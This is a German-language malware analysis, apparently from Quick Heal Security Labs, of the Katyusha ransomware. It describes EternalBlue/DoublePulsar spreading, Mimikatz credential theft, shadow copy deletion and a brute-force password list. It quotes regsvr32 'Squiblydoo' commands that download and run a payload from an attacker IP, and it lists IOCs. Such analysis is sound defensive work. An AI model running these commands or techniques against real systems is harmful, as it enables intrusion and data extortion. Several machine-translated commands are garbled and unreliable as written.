Quick Heal Security Labs beobachtet seit mehreren Monaten einen Anstieg von Ransomware-Angriffen. Wir haben eine weitere interessante Ransomware entdeckt, die Dateien verschlüsselt, die Dateiendung „.katyusha“ hinzufügt und innerhalb von drei Tagen 0.5 BTC fordert. Andernfalls droht sie, die Daten öffentlich zum Download anzubieten. Die Malware nutzt zahlreiche Komponenten, darunter die Exploits „ Double Pulsar “ und „ Eternal Blue “, um sich im Netzwerk zu verbreiten. Außerdem verwendet sie die spezielle Angriffstechnik „ Squiblydoo “. Der Infektionsweg dieser Ransomware ist noch nicht bestätigt, aber aufgrund der vorliegenden Informationen ist es wahrscheinlich, dass sie über Spear-Phishing, Malvertising, Spam-Mails, SMB-Exploits usw. in das System gelangt.
Technische Analyse :
Diese Malware ist mit MPRESS (Version 2.19) gekapselt und befindet sich auf dem System des Opfers unter dem Namen „ katyusha.exe “ im Verzeichnis „%temp%“. Sie besteht aus drei Komponenten. Bei der Ausführung werden diese in C:\Windows\Temp abgelegt und ausgeführt.
- Svchost0.bat
- Zkts.exe
- Ktsi.exe
Katyusha sucht nach folgenden Dateien auf dem System, um festzustellen, ob das System bereits infiziert ist oder nicht.
„C:\So_entschlüsseln_Sie_Ihre_Dateien.txt“
„C:\ProgramData\_wie_Sie_Ihre_Dateien_entschlüsseln.txt“
Ist ein System bereits infiziert, erstellt Katyusha eine Batchdatei (svchost0.bat), die den in Abb. 1 gezeigten Code enthält, um die Selbstkopie zu löschen und sich selbst zu beenden. Ist das System nicht infiziert, löscht der Schädling zkts.exe und ktsi.exe und führt diese aus.
Zkts.exe :
Bei dieser Datei handelt es sich um eine komprimierte 7zip-ausführbare Datei und Hauptkomponente, die mehrere Untermodule enthält, wie etwa ein Netzwerkverbreitungsmodul, ein Modul zum Diebstahl von Passwörtern usw.
Bei der Ausführung von zkts.exe werden Komponenten wie Mimikatz, katyusha.dll, der Eternal Blue Exploit usw. aus dem Ordner „ C:\Windows\Temp “ extrahiert. Diese werden später von Katyusha verwendet, um eine bestimmte Aktivität durchzuführen.
Ktsi.exe (Verschlüsselungsprogramm):
Dies ist eine weitere Hauptkomponente, ebenfalls eine MPRESS-gepackte Datei. Sie wird hauptsächlich zur Dateiverschlüsselung und zum Ablegen einer Lösegeldforderung auf dem System des Opfers verwendet. Dieser Prozess wird unabhängig von der Hauptnutzlast (katyusha.exe) gestartet, wie in Abb. 3 dargestellt.
Bei der Ausführung von ktsi.exe wird zunächst eine Liste der folgenden Aufgaben beendet, um Handles von Dateien freizugeben, die von relevanten Prozessen zur Verschlüsselung gesperrt sind (z. B. Datenbankdateien usw.), wie in Abb. 4 gezeigt.
Um datenbankbezogene Dateien erfolgreich zu verschlüsseln, beendet ktsi Prozesse, die mit Datenbankanwendungen in Zusammenhang stehen. Nachfolgend finden Sie eine Liste der in der Malware fest codierten Prozesse:
| mysqld.exe | httpd.exe | sqlsevr.exe |
| sqlwriter.exe | w3wp.exe | sqlagent.exe |
| fdhost.exe | fdlauncher.exe | reportingservicesservice.exe |
| omtsreco.exe | tnslsnr.exe | oracle.exe |
| emagent.exe | mysqld-nt.exe |
Nach der Taskkill-Operation hinterlässt die Malware eine Lösegeldforderung im HTML- und TXT-Format unter dem folgenden Pfad, um sie beim Systemstart für alle Benutzer sichtbar zu machen.
„C:\ProgramData\Microsoft\Windows\Startmenü\Programme\Autostart“
_wie_Sie_Ihre_Dateien_entschlüsseln.txt
_wie_Sie_Ihre_Dateien_entschlüsseln.html
Legen Sie in „C:\ProgramData“ und im Stammverzeichnis des Laufwerks C (C:\) nur die Lösegeldforderung als „_how_to_decrypt_you_files.txt“ ab.
Ktsi.exe löscht auch Schattenkopien, indem es den folgenden Befehl ausführt:
„vssadmin lösche Schatten /alle /quiet“
Nach Abschluss all dieser Aufgaben startet ktsi.exe die Dateiverschlüsselung (RSA) mithilfe der Standardverschlüsselungsmethode von CRYPTOGAMS . Die zu diesem Algorithmus gehörenden Signaturen befinden sich in einer Datei, wie in Abb. 7 dargestellt.
Es verschlüsselt alle Erweiterungsdateien außer der folgenden:
Es enthält außerdem eine Ausschlussliste von Dateien und Ordnern (siehe Abb. 9). Werden diese Wörter im aufgelisteten Dateipfad gefunden, wird dieser Pfad von der Verschlüsselung ausgeschlossen. Um eine unterbrechungsfreie Verschlüsselung zu gewährleisten, enthält die Liste die Namen einiger Sicherheitsprodukte.
Ausbreitungsmechanismus:
Für die Netzwerkverteilung kommen aus zkts extrahierte Dateien zum Einsatz. Die extrahierten Komponenten finden Sie in Abb. 2.
m32.exe und m64.exe sind Mimikatz-Tools, die zum Abrufen von Anmeldeinformationen von Windows lsass.exe verwendet werden.
Zunächst ermittelt katyusha.exe mithilfe des Systemaufrufs IsWow64Process, ob es sich um ein 32-Bit- oder ein 64-Bit-System handelt (bei einem 64-Bit-System gibt es einen Wert ungleich Null zurück) und führt Mimikatz entsprechend der Systemarchitektur aus.
Das Tool Mimikatz speichert die folgenden Dateien unter „C:\Windows\Temp“ als Ausgabe.
– snamelog: enthält abgerufene Benutzernamen.
– spasslog: enthält Passwörter für die jeweils abgerufenen Benutzernamen.
Nach der Ausführung von mimikatz liest katyusha.exe Benutzernamen aus dem Snamelog und Passwörter aus dem Spasslog, die für Brute-Force-Angriffe auf das Netzwerk verwendet werden.
Zkts.exe legt außerdem svchostb.exe, svchostb.xml, svchostbs.exe, svchostbs.xml, katyusha.dll und svchostp.exe ab. Diese Komponenten werden verwendet, um Katyusha über das Netzwerk zu verbreiten.
Mithilfe des Exploits „Eternal Blue“ und „Double Pulsar“ führt die Malware katyusha.dll nacheinander auf vernetzten Systemen aus. Um diese SMB-Sicherheitslücke auszunutzen, verwenden Sie den folgenden Befehl:
„C:\windows\temp\&svchostb.exe –TargetIp & svchostbs.exe –OutConfig s –TargetPort 445 –Protokoll SMB –Architektur x64 –Funktion RunDLL –DllPayload katyusha.dll –TargetIp „
Katyusha.dll ist eine Nutzlastdatei, die Code zum Ausführen des folgenden Befehls enthält:
„regsvr32 /u /s /i:hxxp://86.106.102.147/img/katyusha.data scrobj.dll“
Wir können in der Datei auch fest codierte Befehlszeichenfolgen finden, wie in Abb. 12 gezeigt.
Bei Ausführung des oben genannten Befehls regsvr32 (Microsoft Register Server) wird das Skript (katyusha.data) von der angegebenen URL heruntergeladen und der Server mit dem Parameter /u von regsvr32 abgemeldet. Dadurch wird JavaScript-Code innerhalb des <registration>-Tags des heruntergeladenen Skripts ausgeführt (siehe Abb. 13). Das Skript enthält Code zum Herunterladen und Ausführen der Datei katyusha.exe von der angegebenen URL im Verzeichnis „%temp%“ .
Ein solcher Angriff mit regsvr32-Befehlen zum Herunterladen von Scriptlets von C&C und deren Ausführung wird als „squiblydoo“ bezeichnet.
Nach den oben genannten Aktionen versucht die Ransomware mithilfe des Power Admin Tools (svchostp.exe) Systeme im Netzwerk per Brute-Force-Angriff zu kompromittieren. Dieses Tool ähnelt dem Sysinternals- Tool PsExec , das zur Ausführung von Prozessen auf entfernten Systemen dient. Die Ransomware selbst verfügt über eine Liste mit Benutzernamen und Passwörtern (siehe unten) und verwendet zusätzlich die von Mimikatz (snamelog und spasslog) erfassten Benutzernamen und Passwörter für den Brute-Force-Angriff.
Benutzernamen :
Admin, Administrator, +Inhalt des Snamelogs.
Passwörter :
admin, 12345, chinachina203, 111, 123456, qwerty, test, abc123, 12345678, 0000, 1122, 1234, +Inhalt des Spasslogs.
Beim Brute-Force-Angriff verwendet Katyusha den folgenden Befehl:
„C:\Windows\temp\svchostp.exe -u -P -n 10 -s regsvr32 /u /s /i:https://86.106.102.147/img/katyusha.data scrobj.dll“
Der obige Befehl führt einfach das Dienstprogramm regsvr32 mit der URL als Parameter aus, um die Nutzlast herunterzuladen, und führt die Aktivität wie oben für katyusha.dll erläutert aus.
IOC :
MD5: 7f87db33980c0099739de40d1b725500
URLs:
- hxxp://86.106.102.147/img/katyusha.data
- hxxp://86.106.102.147/img/katyusha.exe
Bitcoin-Wallet-Adresse: „3ALmvAWLEothnMF5BjckAFaKB5S6zan9PK“
Abschluss :
In diesem Jahr ist die Zahl der Ransomware-Angriffe sprunghaft angestiegen. Sie nutzen neue Verbreitungswege und verschlüsseln Daten. Die meisten Ransomware-Programme sind mittlerweile mit Exploits und Tools wie Eternal Blue und Mimikatz ausgestattet, um sich im Netzwerk zu verbreiten. Wir empfehlen Nutzern, den Zugriff auf verdächtige URLs/E-Mails zu vermeiden, sichere Anmeldeinformationen zu verwenden und ihre Antivirensoftware stets auf dem neuesten Stand zu halten.
Fachexperten:
Pratik Pachpor | Quick Heal Security Labs
